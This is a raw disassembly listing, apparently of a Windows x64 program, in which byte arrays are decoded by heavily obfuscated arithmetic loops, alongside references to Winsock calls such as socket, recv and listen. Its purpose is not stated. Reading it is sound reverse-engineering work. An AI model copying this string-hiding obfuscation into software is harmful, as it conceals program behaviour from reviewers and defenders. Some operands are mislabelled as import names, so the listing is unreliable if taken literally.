sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x34
mov qword [rbp - 0x68], r14
jmp 0x1401340ab
lea rdx, [rbp + 0x16f1180]
jmp 0x140134c52
lea rdx, [rbp + 0x68a4e4]
jmp 0x140134c52
lea rdx, [rbp + 0xa50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xor eax, eax
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rax
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], ax
jne 0x140134c70
lea rcx, [rbp + 0x2e0]
call fcn.140088c20
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1530]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
mov dword [rsp + 0x20], r15d
mov r14d, 0x40
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1530]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1530]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1530]
call fcn.14008b590
nop
lea rcx, [rbp + 0x2e0]
call fcn.140091ed0
mov byte [rbp + 0x800], 0xcb
mov byte [rbp + 0x801], Ordinal_143
mov byte [rbp + 0x802], 0xac
mov byte [rbp + 0x803], 0xf3
mov byte [rbp + 0x804], Ordinal_79
mov byte [rbp + 0x805], 0xf1
mov byte [rbp + 0x806], WSACleanup
mov byte [rbp + 0x807], 0xf7
mov byte [rbp + 0x808], 0x55
mov byte [rbp + 0x809], 0xf5
mov byte [rbp + 0x80a], 0xa2
mov byte [rbp + 0x80b], 0xfb
mov byte [rbp + 0x80c], 0x66
mov byte [rbp + 0x80d], 0xf9
mov byte [rbp + 0x80e], 0x55
mov byte [rbp + 0x80f], 0xff
mov byte [rbp + 0x810], 0x59
mov byte [rbp + 0x811], 0xfd
mov byte [rbp + 0x812], WSACleanup
mov byte [rbp + 0x813], 0xe3
mov byte [rbp + 0x814], 0x47
mov byte [rbp + 0x815], 0xe1
mov byte [rbp + 0x816], Ordinal_79
mov byte [rbp + 0x817], 0xe7
mov byte [rbp + 0x818], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x819], 0xe5
mov byte [rbp + 0x81a], 0x42
mov byte [rbp + 0x81b], 0xeb
mov byte [rbp + 0x81c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x81d], 0xe9
mov byte [rbp + 0x81e], r14b
mov byte [rbp + 0x81f], 0xef
mov byte [rbp + 0x820], 0xb8
mov byte [rbp + 0x821], 0xed
mov byte [rbp + 0x822], 0x87
mov byte [rbp + 0x823], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x824], 0x44
mov byte [rbp + 0x825], Ordinal_211
mov byte [rbp + 0x826], r14b
mov byte [rbp + 0x827], Ordinal_217
mov byte [rbp + 0x828], 0x81
mov byte [rbp + 0x829], Ordinal_217
mov byte [rbp + 0x82a], 0x7e
mov byte [rbp + 0x82b], 0xdb
mov byte [rbp + 0x82c], 0x7c
mov byte [rbp + 0x82d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x82e], WSACleanup
mov byte [rbp + 0x82f], 0xdf
mov byte [rbp + 0x830], Ordinal_143
mov byte [rbp + 0x831], 0xdd
mov byte [rbp + 0x832], 0x64
mov byte [rbp + 0x833], Ordinal_200
mov byte [rbp + 0x834], WSAGetLastError
mov byte [rbp + 0x835], 0xc1
mov byte [rbp + 0x836], 0x54
mov byte [rbp + 0x837], Ordinal_200
mov byte [rbp + 0x838], Ordinal_200
mov byte [rbp + 0x839], Ordinal_200
xor eax, eax
mov dword [rbp + 0x83a], eax
mov word [rbp + 0x83e], ax
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, r14
jae 0x140135aeb
movzx r8d, byte [rbp + r9 + 0x800]
mov r11, r8
cmp rbx, r9
ja 0x140135ae2
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140134f08
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul r13, rax, 0xfffffffffffffffe
add r13, rcx
add r13, r8
sub r13b, 0x32
jmp 0x1401351b7
je 0x140135a43
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401359e8
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140135991
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140135966
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14013591a
cmp r10, r9
ja 0x140135ad9
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x140134f77
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x1a
jmp 0x14013518b
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401358fa
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401358d7
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401358a6
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140135892
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401354c1
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x14013549e
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14013548a
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140135467
lea rax, [r10 + 9]
cmp rbx, rax
je 0x140135453
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140135430
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14013540d
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x1401353e5
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401353c2
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401353ae
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140134fb8
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x140135aad
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140135a81
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1401351c0
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140135194
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x14013516d
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140135386
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140135372
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x14013534f
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14013531b
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x140134fb8
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401352f3
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401352d0
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401352ad
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140135285
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140135263
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140135241
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x14013521e
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401351fb
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401351e7
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140134fb8
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x140134fb8
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x26
mov qword [rbp - 0x58], r13
jmp 0x140134fab
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x140134f42
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x5e
mov qword [rbp - 0x58], r13
jmp 0x140134ecd
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140135929
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6c
jmp 0x140135961
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 8
jmp 0x140135989
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
jmp 0x140135832
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, r14b
jmp 0x140135863
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401358c4
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x78
jmp 0x1401359b2
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x14
jmp 0x140135a0e
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x140135a66
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
mov byte [rbp + r9 + 0x800], r13b
jmp 0x140135a79
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x52
jmp 0x140135569
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x14013551a
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401354ec
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x140135302
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x38
jmp 0x140135a0e
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401359b2
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x70
jmp 0x1401358c4
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0xc
jmp 0x140135863
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x140135250
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x44
jmp 0x140135989
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140135663
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7c
jmp 0x14013593d
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x1401355a3
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x32
mov qword [rbp - 0x58], r13
lea rax, [r10 + rbx]
cmp rax, 6
je 0x140135868
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14013567c
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
cmp rbx, r14
jae 0x14013580f
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x14013574d
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 4
mov qword [rbp - 0x58], r13
cmp r10, 0x1000
jb 0x140135342
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea r13d, [rdx + rdx]
jmp 0x14013593d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401355cf
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x34
jmp 0x140135a66
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401355ea
movabs rdx, 0x350b794e73a31824
mov ecx, r12d
jmp 0x1401353f4
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14013561b
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x140135863
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140135647
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x28
jmp 0x140135838
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401354f0
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x140135961
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401356a8
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x4e
jmp 0x14013593d
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401356d4
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7a
jmp 0x140135838
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401356f1
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x140135602
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14013571d
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x42
jmp 0x1401358c4
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x140135532
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6e
jmp 0x140135a66
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140135779
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x68
jmp 0x140135a66
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401357a5
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x30
jmp 0x1401359b2
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401357c2
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x140135602
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401357df
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140135975
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14013556d
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x24
jmp 0x140135961
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov r13b, byte [rbp + r9 + 0x800]
sub r13b, al
sub r13b, 0x50
add r13b, dl
add r13b, r8b
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, r13b
mov byte [rbp + r9 + 0x800], cl
add rbx, r10
jmp 0x1401358c4
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
sub r13b, byte [rbp + r9 + 0x800]
jmp 0x140135402
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1401353f4
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x72
movzx eax, r13b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140135a75
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x46
jmp 0x140135989
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7e
jmp 0x14013593d
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
add r10, r15
jmp 0x140135989
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
sub r9, r15
jmp 0x140135a75
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x800], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x140135a0e
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x800], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140135a66
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, dl
movzx eax, byte [rbp + r9 + 0x800]
add rax, r10
add r9, rax
mov qword [rbp - 0x58], r13
add r9, r15
jmp 0x140134ebb
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x140134eb6
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x140134ea6
lea rdx, [rbp + 0x15983a8]
jmp 0x140135af2
lea rdx, [rbp + 0x16dc166]
jmp 0x140135af2
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x300]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1640]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140135b27
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1640]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1640]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1640]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xcd0], 0xe3
mov byte [rbp + 0xcd1], 0xad
mov byte [rbp + 0xcd2], 0xec
mov byte [rbp + 0xcd3], 0xab
mov byte [rbp + recvd4], 0xc
mov byte [rbp + 0xcd5], 0xa9
mov byte [rbp + 0xcd6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xcd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xcd8], 0x3d
mov byte [rbp + 0xcd9], __WSAFDIsSet
xor eax, eax
mov byte [rbp + 0xcda], al
mov byte [rbp + 0xcdb], __WSAFDIsSet
mov byte [rbp + 0xcdc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xcdd], __WSAFDIsSet
mov byte [rbp + 0xcde], reloc.WS2_32.dll_listen
mov byte [rbp + 0xcdf], 0x9f
mov byte [rbp + 0xce0], 7
mov byte [rbp + 0xce1], 0x9d
mov byte [rbp + 0xce2], 5
mov byte [rbp + 0xce3], 0x9b
mov byte [rbp + 0xce4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xce5], 0x99
mov byte [rbp + 0xce6], Ordinal_46
mov byte [rbp + 0xce7], 0x87
mov byte [rbp + 0xce8], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xce9], 0x85
mov byte [rbp + 0xcea], Ordinal_217
mov byte [rbp + 0xceb], 0x83
mov byte [rbp + 0xcec], 0x3d
mov byte [rbp + 0xced], 0x81
mov byte [rbp + 0xcee], Ordinal_50
mov byte [rbp + 0xcef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xcf0], Ordinal_46
mov byte [rbp + 0xcf1], Ordinal_143
mov byte [rbp + 0xcf2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xcf3], Ordinal_143
mov byte [rbp + 0xcf4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xcf5], Ordinal_143
mov byte [rbp + 0xcf6], 0x64
mov byte [rbp + 0xcf7], 0xf7
mov byte [rbp + 0xcf8], 0x5c
mov byte [rbp + 0xcf9], 0xf5
mov byte [rbp + 0xcfa], 0x62
mov byte [rbp + 0xcfb], 0xf3
mov byte [rbp + 0xcfc], 0xaa
mov byte [rbp + 0xcfd], 0xf1
mov byte [rbp + 0xcfe], 0xa2
mov byte [rbp + 0xcff], 0xff
mov byte [rbp + 0xd00], 0xae
mov byte [rbp + 0xd01], 0xfd
mov byte [rbp + 0xd02], 0x57
mov byte [rbp + 0xd03], 0xfb
mov byte [rbp + 0xd04], 0x60
mov byte [rbp + 0xd05], 0xf9
mov byte [rbp + 0xd06], Ordinal_79
mov byte [rbp + 0xd07], 0xe7
mov byte [rbp + 0xd08], 0xb6
mov byte [rbp + 0xd09], 0xe5
mov byte [rbp + 0xd0a], 0x77
mov byte [rbp + 0xd0b], 0xe3
mov byte [rbp + 0xd0c], 0x7d
mov byte [rbp + 0xd0d], 0xe1
mov byte [rbp + 0xd0e], 0x47
mov byte [rbp + 0xd0f], 0xef
mov byte [rbp + 0xd10], 0xec
mov byte [rbp + 0xd11], 0xed
xorps xmm0, xmm0
movups xmmword [rbp + 0xd12], xmm0
mov qword [rbp + 0xd22], rax
mov byte [rbp + 0xd2a], al
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x5b
jae 0x140136990
movzx r8d, byte [rbp + r9 + 0xcd0]
mov r11, r8
cmp rbx, r9
ja 0x140136987
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140135daa
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x4a
jmp 0x14013602a
je 0x1401368f2
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013685c
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14013681c
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401367d1
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401367a0
cmp r10, r9
ja 0x14013697e
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x140135e0a
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140135ff1
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14013675c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14013673c
lea rax, [r10 + 5]
cmp rbx, rax
je 0x140136715
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401366f2
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401363d3
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401363b0
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x140136388
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140136364
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x140136341
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140136319
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401362f6
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401362e2
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401362bc
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x140136295
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140135e4b
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x140136957
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14013692c
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x140136033
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x140136009
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x140135fe2
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x140136236
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401361d7
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140136187
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140136164
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x140136141
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140136119
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1401360f6
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401360e2
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401360bc
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1401360a8
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140136084
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14013605e
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x140135e4b
lea rbx, [r10 + 0x1000]
lea r10, [rbx + 0x400]
jmp 0x140135e4b
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140135e3e
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x66
add dil, dl
mov qword [rbp - 0x50], rdi
jmp 0x140135de4
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov qword [rbp - 0x50], rdi
jmp 0x140135d6f
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x14013677a
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r11d, [rcx + r8]
sub r11b, 4
jmp 0x1401367bf
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x14013652a
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r11b, r8b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x1401367ef
